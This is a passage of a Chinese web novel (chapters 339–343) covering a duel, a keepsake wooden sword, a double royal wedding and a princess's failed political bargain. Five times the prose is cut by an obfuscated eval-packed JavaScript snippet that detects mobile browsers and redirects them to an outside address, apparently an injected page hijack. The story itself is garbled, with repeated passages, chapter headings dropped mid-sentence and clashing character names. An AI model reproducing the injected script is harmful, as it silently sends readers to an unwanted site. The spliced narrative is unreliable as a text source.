可他一听说茅清兮也来了,就什么都顾不得了。 第三百三十九章 满脑子都是她,只想见见她,跟她说说话。 哪怕只是斗斗嘴也好。 茅清兮见清韵这般维护自己,心头一暖。 她轻轻拍了拍清韵的手背,示意她稍安勿躁。 “康将军,有事?” 茅清兮的声音很冷,带着几分疏离。 康云辰这才注意到周围那些贵女们异样的眼神。 他心下懊恼,知道自己今日是有些莽撞了。 这里不是西魏,由不得他胡来。 他若是真做出什么出格的举动, 反而会坏了茅清兮的名声。 可是,如果茅清兮在大晋过得不顺心…… 一个念头在他脑海中闪过, 那他,是不是就有机会把她带回西魏了? 这个想法让康云辰的心情瞬间明媚起来。 他咧嘴一笑,露出几颗白牙。 “臧夫人,上次咱们交手,可还没分出胜负呢。” 他故意拉长了声音, “今儿个我这手啊,痒得厉害,就想找臧夫人再切磋切磋。” “怎么,上次输得还不够?” 茅清兮毫不留情地反问。 康云辰脸上的笑容一僵,险些挂不住。 他差点忘了,自己根本就打不过茅清兮。 但在她面前,他就是不想认输。 尤其,这是个多好的借口。 没了这个借口,他还怎么找她? “臧夫人,上次咱们可没比完,我可不算输。” 康云辰硬着头皮狡辩。 茅清兮轻笑一声,眼神中带着几分嘲弄。 她这副冷傲的模样,偏偏让康云辰心痒难耐。 要不是这女人浑身是刺, 他真想把她抢回西魏去。 在西魏军中,看上了哪个女人,只要能打得过,就能抢回去当媳妇! “臧夫人,比不比?给句痛快话!” 康云辰有些不耐烦了, 他用拇指拨弄着腰间的弯刀, 这是西魏人发起进攻的前兆。 “奉陪到底。” 茅清兮缓缓抽出背后的三寒霜,声音清冷而坚定。 “不过这次,咱们换个彩头。” 她忽然话锋一转。 “哦?什么彩头?”康云辰挑眉。 “若你输了,就给我安分点,别再来烦我。” 茅清兮眼神示意那些贵女们。 “也别再吓着这些姑娘们。” 康云辰顺着她的视线看过去, 那些贵女们被他一看,吓得连忙低下头, 跟受惊的小鹿似的。 “康云辰,你要比,我来。” 一个低沉的声音,突然从身后传来, 打断了两人的对话。 原本还算和煦的春日, 因为这声音的出现,陡然降温。 空气中,仿佛都弥漫着一股肃杀之气。 众人循声望去, 只见驿馆门口,不知何时站了一个男人。 身姿挺拔,气度不凡。 那张脸,俊美得不似凡人。 正是冀容白。 满京城的人,几乎没人不认识这张脸。 康云辰看清来人,脸色瞬间阴沉下来。 冀容白倒是神色如常, 只是那双深邃的眸子里, 隐隐闪烁着令人心悸的寒芒。 “你怎么来了?” 茅清兮有些意外。 “接你回家。” 冀容白走到她身边,声音轻柔。 他转头看向康云辰, “康将军,想切磋武艺?” 他语气平淡,听不出喜怒。 “怎么,冀容白,你要替她出头?” 康云辰冷笑一声, “你该不会是怕她输给我吧?” “康将军说笑了。” 冀容白语气淡淡的, “内子武艺如何,我心中有数。只是……” 他顿了顿,眼神扫过那些惊魂未定的贵女们, “今日是女眷们的聚会,康将军一个外男,多有不便。” 他转过头,看着康云辰,眼神锐利如刀。 “康将军若是手痒,我倒是不介意,陪你过几招。” “冀容白,你别以为我怕你!” 康云辰被他激起了怒火。 “要打就打,谁怕谁!” 他“噌”地一声拔出弯刀, 周身的气势,瞬间变得凌厉起来。 “冀容白,我早就想跟你较量一番了!” 他眼中燃烧着熊熊战意。 “正好,借着这个机会,让所有人都看看,你到底有几斤几两!” “废话少说。” 冀容白握紧手中的三寒霜, 身形一动,如同一道闪电般, 向康云辰冲了过去。 “今日,就让你见识见识,什么叫人外有人,天外有天!” 长剑与弯刀,在空中激烈碰撞。 火花四溅,发出刺耳的声响。 两人身形交错,兔起鹘落, 速度快到让人眼花缭乱。 别说是那些不通武艺的贵女们, 就连清韵,也看得目不暇接。 “清兮,你说……谁会赢?” 清韵凑到茅清兮身边,小声问道。 “他不会输。” 茅清兮微微一笑,语气笃定。 那次她和冀容白过招,他明显有所保留。 若是他全力以赴,她恐怕不是对手。 清韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634542|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽不知茅清兮的武功究竟有多高, 但见她如此自信, 便也放下心来。 “冀容白,你可得争气点啊!” 她忍不住在心里默默为冀容白加油。 那些贵女们, 原本还碍于身份,不敢太过张扬。 可眼见着两人打得难解难分, 也都被这紧张的气氛所感染, 一个个瞪大了眼睛, 屏息凝神地观战。 虽说看不懂招式, 但也不妨碍她们在心里, 为自家将军呐喊助威。 有了清韵的“示范”, 她们也敢小声议论了, 只是声音压得极低, 却难掩激动。 “苏将军加油!” “苏将军一定能赢!” 这场景,让茅清兮想起当年, 冀容白凯旋归来, 入城的那一日。 百姓夹道欢迎, 欢呼声,呐喊声,响彻云霄。 他骑着高头大马, 身披战甲, 脸上戴着染血的面具, 威风凛凛,不可一世。 那时的冀容白, 是战场上杀伐决断的将军, 是百姓心中战无不胜的神。 而如今…… 茅清兮看着场中, 那个为了她, 与旁人争斗的男人, 心中涌起一股异样的情绪。 说不清,道不明。 只觉得,心里某个地方, 被填得满满的。 当冀容白一剑挑飞康云辰的弯刀, 又飞起一脚将他踹出数丈远时, 那些贵女们再也忍不住, 发出压抑的欢呼声。 清韵见状,忍不住笑出声来。 她凑到茅清兮耳边,低声道: “瞧她们那激动的样儿,不知道的,还以为是自己夫君赢了呢。” 茅清兮闻言,转头看向那些贵女。 她们一个个面色潮红,眼神闪亮, 哪里还有平日里的端庄矜持? 她忍不住弯了弯唇角。 清韵又道:“清兮,你就一点儿都不吃醋?” 茅清兮收回视线,看向正朝她走来的冀容白。 他额头微微见汗, 发丝有些凌乱, 却丝毫不减他的英姿。 “有什么好醋的。” 她语气淡淡的, 却带着一丝不易察觉的骄傲。 “他,是我的。”冀容白“呛啷”一声,将三寒霜插回鞘中,大步走到茅清兮面前。 他垂眸,凝视着她,唇边漾开一抹笑: “走吧,我们回家。 第三百四十章 ” 低沉的嗓音,带着不容抗拒的温柔。 自始至终,他的视线都牢牢锁在茅清兮身上,仿佛旁人于他皆是空气。 “嗯。” 茅清兮轻轻应了一声,抬脚与他并肩而行,一颗心怦怦直跳。 身后,一众世家贵女眼神各异,心思翻涌,仿佛炸开了锅。 曾几何时,那个令人闻风丧胆,却又引无数女子倾慕的血衣将军,竟也会将一个女子捧在掌心,宠溺至斯,这简直比话本还离奇! 又有谁,不曾幻想过,那般冷傲孤绝的人,会为自己停下脚步? 可如今,他满腔的柔情,却都倾付于一个她们曾不屑一顾的人,这让她们如何甘心! 清韵余光扫过呆愣的众人,又瞥了一眼地上挣扎着想爬起来的康云辰,不屑地撇了撇嘴,这才背着手,慢悠悠地离开,把一地热闹留给别人。 “哎哟……我的腰……嘶……” 康云辰倒抽着冷气,只觉得浑身骨头都快要散架,像是被一头蛮牛狠狠撞过。 冀容白这厮,下手也太狠了!分明是往死里打! 马静郡主从屋里缓步而出,冷冷地扫了他一眼,声音没有一丝温度: “康将军莫非是忘了来大晋的目的?还是说,你已经迫不及待想回西魏了?” “郡主放心,齐某……咳,齐某说到做到,绝不会坏了郡主的大事。” 康云辰咬着牙,脸色一阵青一阵白,额头渗出细密的汗珠。 马静郡主拧起眉头,语气更加严厉: “茅清兮可不是寻常女子,康将军最好收起那些不该有的心思!否则,别说回西魏,能不能留住这条命都难说!” 康云辰闻言,心中一阵烦躁,却不敢反驳,只能闷声应道: “本将军……心里有数……” 说完,他一把甩开下人的搀扶,一瘸一拐地朝自己屋里走去,背影狼狈至极。 马静郡主看着他的背影,眉心紧锁,心中盘算着对策。 原以为和这康云辰能合作无间,谁知他竟看上了茅清兮,平白生出许多变数! 若是旁人倒也罢了,可茅清兮……身份特殊,动了她,恐会引来**烦。 更何况,即便抛开身份,茅清兮本人也绝非易与之辈,她身边的冀容白更是一头猛虎! 安宁公主的身份已被揭穿,虽然不过是个蠢货,可难保茅清兮不会顺藤摸瓜,查到自己头上。 必须尽快想个法子,把这两人…… 她眼中闪过一丝狠厉,转身朝康云辰的屋子走去,必须让他彻底断了念想! …… 另一边,茅清兮与冀容白已将旁人的心思抛诸脑后,他们的眼中只有彼此。 茅清兮本想派人送清韵回府,毕竟天色已晚。 可清韵却摆了摆手,说是要独自一人静静,回绝了她的好意。 来时,茅清兮坐的是自家马车,冀容白则骑马而来。 此刻,冀容白将马让给了富峻,自己则与茅清兮同乘一辆马车。 他刚坐稳,便迫不及待地开口: “往后离康云辰远些,这种人,不必理会。” 语气中透着不容置疑的霸道,还有一丝不易察觉的醋意。 “嗯,我知道。” 茅清兮乖巧地点了点头,她本就没把康云辰放在心上。 冀容白见她这般云淡风轻,眸色不由得深了几分,心中暗自思忖。 方才那一架,他看似随意,实则每一招都用足了力道,专挑康云辰最痛的地方。 但凡康云辰敢再纠缠茅清兮,他不介意让他尝尝更厉害的! 这些念头在脑海中一闪而过,冀容白脸上又恢复了平日的温和。 他朝茅清兮凑近了些,手臂揽住她的腰,低声问: “娘子,想不想去个地方?” 茅清兮一愣,被他突如其来的亲昵弄得有些脸热: “去哪儿?” “去了便知。” 冀容白故意卖了个关子,笑意直达眼底, “保证让你惊喜。” 茅清兮心中好奇,却也没有追问,只是任由他搂着自己。 马车内,空间狭小,两人紧紧依偎。 冀容白身上淡淡的松木香萦绕在鼻尖,让茅清兮有些心猿意马。 她轻轻闭上眼睛,感受着他的体温,一颗心仿佛泡在了蜜罐里。 不知过了多久,马车缓缓停下。 “到了。” 冀容白的声音在耳边响起。 茅清兮睁开眼,发现马车停在了一处僻静的宅院前。 这宅子她从未见过,门口也没有挂匾额。 “这是……” 她疑惑地看向冀容白。 “这是我的一处别庄,平日里很少来。” 冀容白牵着她的手,下了马车, “不过,这里藏着一件很重要的东西。” 茅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634543|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清兮心头一动,隐隐猜到了什么,却又不敢确定。 两人进了别庄,穿过几重院落,来到一间布置雅致的书房。 书房里,燃着淡淡的熏香,让人心神宁静。 冀容白走到书架前,从一个隐蔽的格子里取出一个上了锁的木匣。 他将木匣放在桌上,转头看向茅清兮,眼中带着一丝期待: “打开看看。” 茅清兮深吸一口气,缓缓打开木匣。 匣中,铺着柔软的绸缎,绸缎上,静静地躺着一把小巧的木剑。 木剑的样式十分简单,甚至可以说是粗糙,剑身上还能看到明显的刀削痕迹。 茅清兮怔怔地望着这把木剑,一时间竟有些恍惚。 她从未想过,自己儿时随手削的一把小木剑,竟会被冀容白如此珍视。 “这……” 她张了张嘴,却不知该说些什么。 “喜欢吗?” 冀容白走到她身边,轻声问道。 茅清兮点了点头,眼眶有些湿润: “喜欢……” “这可是我五岁那年,你亲手送我的。” 冀容白拿起木剑,轻轻摩挲着, “那时你还小,力气不够,削得歪歪扭扭。” 他顿了顿,语气中带着一丝笑意: “不过,这可是我收到的第一份礼物,比什么都珍贵。” 茅清兮听着他的话,心中涌起一股暖流。 她抬起头,看着冀容白深邃的眼眸,轻声说道: “其实……我已经不记得这把木剑的样子了。” “没关系,我记得就好。” 冀容白将木剑放回匣中, “我会一直珍藏着它,直到我们老去。” 茅清兮再也忍不住,扑进他的怀里,紧紧抱住他。 “容白……” 她轻唤他的名字,声音中带着一丝哽咽。 冀容白搂紧她,在她耳边低语: “兮萱,往后余生,我们再也不分开。” “嗯,再也不分开。”那把被茅清兮随手丢弃的小木剑,此刻正安静地躺在冀容白掌心。他小心翼翼地将它放回绸缎之上,指尖轻柔地拂过剑柄,仿佛对待一件从不示人的珍宝。 “这处别庄,是我以前的藏身之处,”他缓缓开口,声音低沉而温柔,目光却始终没有离开那把木剑,“离鹰羽卫大本营不远,每逢战事结束,我总会来此避世。 第三百四十一章 是以,我的许多不能见光的东西都留在了这里。” 他顿了顿,像是想起了什么,嘴角微微上扬,勾勒出一个隐秘的弧度:“虽然后来大部分东西都搬去了澜府,但这把‘小木剑’……”他故意拉长了语调,语气中带着一丝不易察觉的戏谑,“我总觉得……不能让你发现,便一直将它私藏在此处。” 说到这里,他才缓缓抬眼,看向茅清兮,眼神中交织着复杂的情绪,有追忆,有怀念,也有一丝……孩子气的得意? “谁曾想,”他轻轻叹了口气,语气中带着一丝无奈,却又隐隐透着几分宠溺,“如今倒是我亲手带你过来了,还打开了这个潘多拉魔盒。” 他的思绪,早已飘回了多年前的云州。 那日阳光正好,**无云。一个小小的身影,摇摇晃晃地跑到他面前,额头上渗出细密的汗珠,却全然不顾,只是执拗地举起手中的小木剑,递到他面前。 “漂亮姐姐,这柄木制长剑,我愿转赠于你,你回到家后也要勤加练习,我会想你的。” 稚嫩的声音,带着满满的认真和不舍,像一颗小铁子投入他平静的心湖。 冀容白垂眸,看着眼前那把坑坑洼洼、甚至可以说得上丑陋的小木剑,心中微微一动。如果不是因为那双小手布满细小的伤痕,如果不是她通红的眼眶盈满泪水,他或许真的会拒绝。 但他没有。 他像着了魔一样接过了那把小木剑,并且一藏就是许多年。 他一直以为自己可以藏好这个秘密,可世事难料,这把木剑还是被长公主发现了。他至今还记得长公主当时夸张的笑声,以及那句让他无言以对的调侃:“呦,我们家容白这是和谁家小姑娘私定终身了?” 想到这里,冀容白忍不住低笑出声,笑声里带着几分释然。 或许,有些事,从一开始就注定了。 他微微侧头,看向身旁的茅清兮,眼神中流露出毫不掩饰的得意和庆幸。 他用美貌拐回来一个小姑娘,如今想来也不亏。 茅清兮看着他脸上孩子气的神情,无奈又好笑。 她自然知道冀容白心中所想。 毕竟,最初的时候,她也的确被冀容白这张脸迷惑过。 不过,让她动心的,绝不仅仅是这张脸。 “美色惑人啊……” 她在心里轻叹,嘴角却不自觉地扬起一抹甜蜜的笑容。 --- 在别庄留宿一晚,感受着久违的宁静与惬意。 第二天清晨,阳光透过窗户,两人才缓缓起身,准备回城。 今日,是贤王大喜的日子。 他们必须出席。 - 宁府和驿馆那边几乎同时出发,迎亲队伍敲锣打鼓,场面甚是热闹。 皇子迎亲,排场十足。 而贤王,却称病不出。 明眼人都知道,他这是在避嫌。 毕竟,新娘有两个。 接谁?都是麻烦。 更何况,马静郡主背后,是两国邦交。 于是,贤王干脆躲了起来,乐得清闲。 - 茅清兮和冀容白联袂而来,参加了贤王府的婚宴。 两位新娘进门的时间,礼部拿捏得恰到好处,不偏不倚。在司仪抑扬顿挫的唱和声中,两人一同跨过了火盆,迈入了王府的大门,从此身份不同。 宁府派来送亲的,尽是些年轻面孔,一个个脸色铁青,难看至极,想来宁府上下,此时心情都不会太好。 迎亲队伍风光无限,贤王府对宁府够给面子的。 可这份风光,马静郡主也有份。 这等于当众打了宁府的脸。 石夫人今天全程强颜欢笑,如鲠在喉,根本没心思应酬宾客,仪式一结束,就直接回了房间,泪水止不住的往下流。 - 宁府的喜宴草草收场。 贤王府的喜宴却歌舞升平,热闹非凡。 茅清兮站在人群中,望向喜堂。 红盖头下,石芷凝的表情,她无从知晓。 就算知道,她也改变不了什么。 为了两国议和,圣上不惜牺牲老臣的颜面,一道圣旨,让马静郡主成了贤王正妃。 这一举动,伤透了不少老臣的心。 今天来参加喜宴的几个老臣,个个面色凝重。 本该喜庆的喜堂,气氛却异常诡异。 拜堂时,司仪干脆省去了夫妻对拜的环节,只让新人拜了天地和高堂,就匆匆结束了仪式。 这场婚礼,更像是一场**作秀,宾客们心照不宣,脸上都挂着虚假的笑容。 只有贤王,从始至终都镇定自若。 即使腿脚不便,他也依然保持着皇家的风度,礼数周全。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641735|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 仪式结束后,贤王留下待客,两位新娘则分别被送入洞房,等待命运的下一步安排。 宾客们窃窃私语,互相打量,猜测着贤王今晚会宠幸哪位新娘。 甚至有人私下设了赌局。 目睹这一切,茅清兮心中一阵反感,脸色也冷了下来。 “我们走吧。” 冀容白握住她的手,轻声说。 茅清兮点点头,转身离开。 - 这时,太子钱云霄姗姗来迟。 他看到正要离开的两人,一脸诧异: “孤来晚了?五弟的婚礼圆满落幕?” 冀容白淡淡道:“太子殿下为江南水患之事奔波,贤王殿下自会体谅。” 钱云霄满脸惭愧:“孤亲赴江南,方知百姓之苦。孤只愿大晋百姓,人人都能安居乐业。” 站在两人身后的几位老臣,听到这话,都露出了欣慰的表情。 大晋有储君如此,实乃幸事。 贤王也急忙从喜堂出来,迎了上去。 - 两人刚回到府里,还没来得及歇口气。 绿绿便匆匆赶来,低声禀报: “将军,夫人,明明郡主求见。” 茅清兮并不惊讶,只点了点头,让人将明明郡主请进来。 明明郡主在澜府住了些时日,一直很安分。 那日与茅清兮谈话后,她似乎就收起了那些不该有的心思。 不一会儿,明明郡主缓步走来。 她今日换上了一身碧色衣裙,衬得肤色更加白皙,眉眼间明媚动人, - 明明郡主落座后,绿绿奉上香茗。 她并未立即开口,而是先轻轻抿了一口茶水,润了润嗓子。 然后,她抬起眼眸,目光在冀容白身上停留了一瞬,眼中闪过一丝欣赏,但很快便移开了视线。 她转而看向茅清兮,嘴角微微上扬,语气中带着几分试探:“据说太子殿下已返回帝都,想必我的贴身侍女也一同回来了。我失踪的消息,恐怕再也瞒不住了。” 她顿了顿,观察着茅清兮和冀容白的反应。 见两人都沉默不语,她心中略微有些忐忑。 她知道,自己必须主动出击。 于是,她深吸一口气,缓缓开口道:“臧夫人,那日您曾说,有一事相求。 第三百四十二章 不知,我能帮上什么忙?” 说完,她便静静地等待着茅清兮的回答,心中既期待又紧张。“臧夫人,那日您曾说,有一事相求。” 明明郡主顿了顿,目光扫过茅清兮,又在冀容白身上停留一瞬,像一只谨慎的猫,试探着面前这两个人的反应, “不知,我能帮上什么忙?” 茅清兮没立刻回答,只是缓缓放下手中的青瓷茶盏。 “当”的一声轻响,在这静谧的厅堂里,清晰得有些刺耳,仿佛某种无声的宣告。 “明明郡主,”茅清兮抬起眼,目光沉静如水,深不见底,“当初你来求我相助,说要避开太子,特意选了澜府……” 她语气不紧不慢,尾音微微上扬,像是在抛出一个诱饵,等待着鱼儿上钩。 对面的明明郡主眨了眨眼,似乎没料到茅清兮会如此单刀直入,像是被突然袭击,有一瞬间的怔忪。 她下意识地挺直了脊背,努力维持着脸上的笑容,但笑容之下,却是一丝掩饰不住的紧张, “臧夫人请讲。” “满京城里,也只有躲在澜府才最为安全。”明明郡主坦然承认,话语间却带着一丝不易察觉的骄傲,仿佛在炫耀自己的选择是多么明智, “这些日子,多谢苏将军和臧夫人收留。若有差遣,我必定全力以赴。” 说着,她端起茶盏,指尖轻轻摩挲着杯沿,眼神却飘向了别处,像是在掩饰什么,又像是在思考什么。 茅清兮将这一切尽收眼底,却没有立刻戳破,只是静静地看着她,像一个耐心的猎人,等待着猎物露出破绽。 “我本确实有事相求,”茅清兮的声音再次响起,带着几分难以捉摸的意味,像是在暗示什么,又像是在试探什么, “但如今……” 她微微眯起了眼睛,目光忽然变得锐利起来,像一把出鞘的利剑,直指人心, “明明郡主怕是已经有了自己的打算吧?” 话音未落,冀容白低沉的声音便插了进来,像是一阵突如其来的寒风,吹散了厅堂里原本还算平和的气氛, “我派人去云州查过。” 他甚至没有抬头看明明郡主一眼,只是自顾自地拨弄着手中的茶盏,指尖在杯沿上轻轻敲击,发出有节奏的“嗒嗒”声, “明明郡主此次进京,本就是为了太子正妃之位吧?” 明明郡主脸色一僵,嘴唇抿成了一条线,沉默不语,像一块被冻住的石头。 冀容白眼皮微垂,目光落在茶盏中,那清澈的茶汤倒映着他冷峻的侧脸,却看不出他此刻的真实情绪, “荆南王希望你成为太子妃,却又担心皇上猜忌,这戏,得演足全套。你的行踪,他一早就透露给了太子。” 他的声音很轻,却像一把手术刀,精准地剖析着明明郡主的处境,以及她背后那只看不见的手, “台面上不行,就来暗的。待你与太子发生关系,荆南王是不得不认。龙椅上那位再不高兴,也不能拿这个当借口动云州。当年封异姓王,承诺过不收回荆南王的兵权,这都是明摆的事。” 他微微抬眸,视线终于落在了明明郡主的身上,像是在看一个已经被他看穿的玩具, “所以,现在除了太子还有人在找你,连荆南王都在寻你。那些被你甩掉的人,都是荆南王派来监视你的。而你身后跟着的,才是你自己的心腹吧。” 一段冗长的沉默,仿佛空气都凝固了。 久到明明郡主几乎以为自己要窒息的时候,她才终于开口,声音里带着几分自嘲,几分无奈,像是输光了所有筹码的赌徒, “苏将军真是厉害,我还以为能瞒得更久一点。” 茅清兮接过了话头,语气平静得像是在谈论天气,仿佛眼前发生的一切都与她无关, “如今你只要一露面,太子和你的那群护卫,还有你那位贴身丫鬟,都会跳出来指证你和太子的关系。到那时,你怎么解释都没用。” 她顿了顿,目光直视着明明郡主,像是在提醒她,又像是在警告她, “可你终究要露面。太子和荆南王的人都在找你,你又能躲到几时?” “所以说,”明明郡主苦笑一声,脸上的笑容显得格外苦涩,像一朵在风雨中飘摇的花, “就属澜府最为安全。我在这里,他们才不敢轻举妄动。” 茅清兮微微倾身向前,双手交叠放在桌上,像一个谈判桌上的高手, “荆南王只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641736|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有你一个女儿,又最疼你,怎么舍得让你搅进京城这趟浑水?” 明明郡主垂下眼帘,长长的睫毛在眼睑下方投下一片阴影,让人看不清她的神色,像是在掩饰自己的脆弱, “臧夫人和将军都查到了……我爹他……不止我一个女儿。他还有个儿子,私生的,但他毕竟是个男丁。” 她深吸一口气,像是下了很大的决心,要把自己最深的秘密,也是唯一的筹码,摆在桌面上, “太子答应过我爹,只要他登上皇位,就让我那个弟弟成为新的荆南王。” 这几句话,每一个字都像一颗石子,投入了在场几人心湖。 茅清兮明白,这是明明在交代底牌,更是一种绝望的求生。 荆南王多年无子,是想让京城这边别太担心,但一旦他不在了,他的爵位将后继无人,这是心腹大患。 就算荆南王再疼爱明明郡主,她不过是个弱女子罢了,无法继承王位,更无法延续荆南王的血脉。 所以,他选择用女儿做棋子,用联姻做交易,二十万兵马做筹码,为自己换一个未来,为云陵换一个未来。 这才是明明出现在这里的真正原因,也是她不得不面对的残酷现实。 茅清兮心中了然,却也更加疑惑,她看着明明郡主,像是在看一个迷失在棋局中的人, “既然如此,你躲在澜府,接下来想怎么办?” 她不相信明明郡主会甘心成为一颗棋子,任人摆布,束手就擒。 明明郡主抬起头,目光在冀容白和茅清兮的脸上逡巡了一圈,像是在寻找一个可以依靠的支点。 突然,她猛地站起身,撩起裙摆,直挺挺地跪在了两人面前,像一个孤注一掷的赌徒。 这突如其来的举动,让茅清兮和冀容白都愣住了,像是被这突如其来的变故打了个措手不及。 尤其是茅清兮,她只觉得一股不好的预感,如藤蔓般,瞬间缠绕住了她的心脏,让她几乎喘不过气来。 “求苏将军接纳我!” 明明郡主的声音不大,却字字清晰,带着不容置疑的决绝,像是在宣布一个不可更改的决定, “我保证,绝不和臧夫人争宠,绝不会留下一儿半女! 第三百四十三章 ” “你胡说什么!” 冀容白“腾”地一下站了起来,脸色铁青,像是受到了极大的侮辱,茶盏都差点被他碰倒, “娘子,我心里只有你!我绝不可能要其他人!” 他急切地看向茅清兮,举起三根手指,信誓旦旦地保证,恨不得把心掏出来给她看, “我冀容白此生只会有你一个妻子!天地可鉴!” 茅清兮看着他那副急于表白的样子,心里又好气又好笑。 她伸手轻轻拍了拍冀容白的手背,暗示他别太着急,像是在安抚一只受惊的猫。 然后,她才将目光重新投向跪在地上的明明郡主,声音冷冷的, “明明郡主,我劝你趁早**这条心。澜府不是你的避难所,更不是你的筹码。” “我知道苏将军和臧夫人伉俪情深,但我只是想要一个安身立命的名分,绝对不会痴心妄想。” 明明郡主低着头,声音里带着一丝不易察觉的颤抖,但语气却依旧坚定, “臧夫人,实不相瞒,我已经是走投无路了。” 她抬起头,眼眶微微泛红,却倔强地不肯让眼泪流下来, “家父信任太子,但我更相信苏将军的实力。” 冀容白冷笑一声,打断了她的话头, “这就是你的真实意图。你们父女俩,算盘打得可真精。” 他一步步走到明明郡主面前,居高临下地看着她,眼神冰冷, “荆南**面上不能拒绝太子,才让你偷偷摸摸来找我们。但你有没有想过,如果我拒绝,你们所有的计划都会落空。” “苏将军!” 明明郡主的声音里终于带了一丝慌乱,她能感觉到,冀容白身上散发出来的那种冰冷的气息,是真实的,是危险的。 她咬了咬牙,决定放手一搏, “如果苏将军愿意出手相助,云陵二十万大军,尽可听候调遣!请苏将军三思!” “富峻。” 冀容白突然开口,声音冷得像冰碴子,让人不寒而栗, “送客!顺便知会太子一声,让他来领人。” 话音未落,三道黑影瞬间出现在房间里,挡在了明明郡主的面前。 是明明郡主的暗卫,他们像忠诚的猎犬,守护着自己的主人。 几乎是同一时间,更多的黑影从四面八方涌现,将那三名暗卫团团围住,像一张巨大的网,将他们困在其中。 是澜府的暗卫,他们训练有素,行动迅速,沉默而强大。 明明郡主看着眼前这剑拔**张的阵势,这才真正意识到,自己面对的究竟是怎样的一个人,澜府又是怎样一个地方。 冀容白,他不是一个可以任人摆布的棋子,更不是一个心慈手软的善人。澜府也不是善堂,不会收容任何一个心怀鬼胎的人。 她是真的会被丢出去,是死是活,全凭天意。 明明郡主的心,一点点地沉了下去,像一块石头,沉入了无底的深渊。 她强压下心头的恐惧,朝那三名暗卫使了个眼色,示意他们不要轻举妄动,像一个即将溺水的人,努力抓住最后一根稻草。 然后,她缓缓地站起身,深吸一口气,调整着自己的呼吸和心跳, “苏将军,臧夫人,我愿做一笔交易。” 她的声音很轻,却很坚定,像是在给自己打气, “只需你们保护我安全出城,我可以说服家父,转投苏将军麾下!” 冀容白正要开口,茅清兮却抢先一步说道, “明明郡主,你觉得你有几分把握说服荆南王?你凭什么认为,我们会相信你?” 明明郡主沉默了片刻,缓缓开口,声音里带着一丝决绝, “我手里有筹码,一个足以让家父改变主意的筹码。” 她顿了顿,目光坚定地看着茅清兮和冀容白, “我那个弟弟,那个被家父藏起来的私生子,现在在我手里。” 她惨然一笑,像一朵即将凋零的花, “我若出事,他也会没命。我想,家父会做出正确的选择。” “二十万大军……”茅清兮轻声重复了一遍,像是在掂量这个筹码的分量。 她看向冀容白,征求他的意见。 冀容白却只是冷笑一声,语气轻蔑, “云州虽有二十万兵马,但远在天边,于京城局势,无异于杯水车薪。” 他看着明明郡主,眼神像是在看一个不自量力的跳梁小丑, “明明郡主,你高估了自己的价值,也低估了澜府的实力。” 茅清兮看着明明郡主,微微摇了摇头,表示爱莫能助。 明明郡主看着他们夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648209|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻二人,心如死灰,希望彻底破灭。“我……”明明郡主的声音干涩,每个字都像从嗓子里硬挤出来的。 她苦心经营的骄傲,在冀容白和茅清兮面前碎成了一地。那些所谓的筹码,不过是场可笑的闹剧。 明明郡主脸色煞白,嘴唇不住地颤抖。 茅清兮的目光示意了一下绿绿。 绿绿立刻上前,搀扶明明郡主。 她对这位郡主可没什么好感,动作间也少了往日的恭敬。 这位明明郡主居然胆敢肖想她家将军,简直不知天高地厚! 要不是夫人的吩咐,她才懒得搭理这种人。 茅清兮和冀容白安静地品着茶,仿佛周遭的一切都与他们无关。 